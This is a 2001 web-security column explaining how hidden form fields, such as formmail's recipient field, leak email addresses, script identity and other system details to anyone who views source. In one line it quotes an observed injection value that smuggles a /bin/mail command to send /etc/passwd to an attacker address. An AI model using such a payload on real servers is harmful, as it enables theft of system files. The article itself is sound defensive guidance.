by
David M. Williams
Watch Those Hidden Tags
In the second of our series on developing in a secure environment, we look at the problem of giving away secrets by embedding information in the hidden tags of forms.
February 14, 2001
The hidden form tag - what a boon to early CGI scriptwriters this was.
Did you want to allow users to send feedback email back to you from your Web site, but without having to deal with a possibly clumsy mailto URL? Maybe you wanted to design a nice form that prompted specifically for the information you wanted the user to fill in.
In either case, simply dropping by Matt's Script Archive at http://worldwidemart.com/scripts/ and downloading the ever-pervasive formmail solved the problem. This ubiquitous Perl program would take the entire set of Web form arguments passed to it, and e-mail the results to a specified person.
Now, being a pre-packaged CGI script, formmail needs some configuration - things like specifying whom the recipient of the generated e-mail should be. As people re-using packaged Perl CGI scripts may not necessarily be programmers, and because formmail may be used from several different pages with unique recipients each time, the configuration information is actually passed as one of the form variables.
This means that the Web form must, of necessity, contain a line like this:
<input type=hidden name="recipient" value="email@your.host.com">
What this means is that anybody using View Source on his or her Web browser will see the recipients email address.

(Potential hackers and lawyers please note, names in the above example have been changed to protect the innocent. The original came from a Web page that's still out there.)
Well, this example may not seem to be so harmful - after all, the alternative option was to use a specific mailto URL anyway. Actually, the reality is that it can be harmful. Not only have you given away the email address, but you have also given away that you are using formmail. This has two main ramifications.
Firstly, if any exploits of formmail are known, a malicious user can try to take advantage of them - perhaps by entering bad data into your Web form fields. I know that I've certainly seen fields completed with values like "; /bin/mail naughty@hackers.org < /etc/passwd - presumably the leading quote mark was thought by the user to terminate the field and make a Unix system execute the following text as a real command.
Secondly, you have a script on your Web server that sends email to anyone, with parameters passed in, in a consistent and known format. You have suddenly provided a free routing service to anybody who wishes to send mass emails. That's right
your Web site could suddenly be flagged as a source of bulk spam, despite how innocent you really are.
There's more than just an e-mail address that you could be giving away. Anything that reveals information about your system - IP addresses, login information - even, gasp, passwords - would give hackers a start to breaking into your system.
So, that's the hidden tag. Use it if you must, but be aware of just how much you might be giving away. After all, it's an HTML tag - it's a client-side thing. It's not stripped away by the Web server, and is completely visible at the touch of View Source. I should point out before we conclude this section that this is precisely the case with client-side scripting, too. Anything nice you do in VBScript or JavaScript that is executed by the browser is completely viewable by View Source.
David Williams is a computer consultant in Newcastle, Australia. Projects include an ASP-based task logging system for a University help desk environment, and 'hack-proofing' an evaluation version of a package to manage mobile phone shops.
|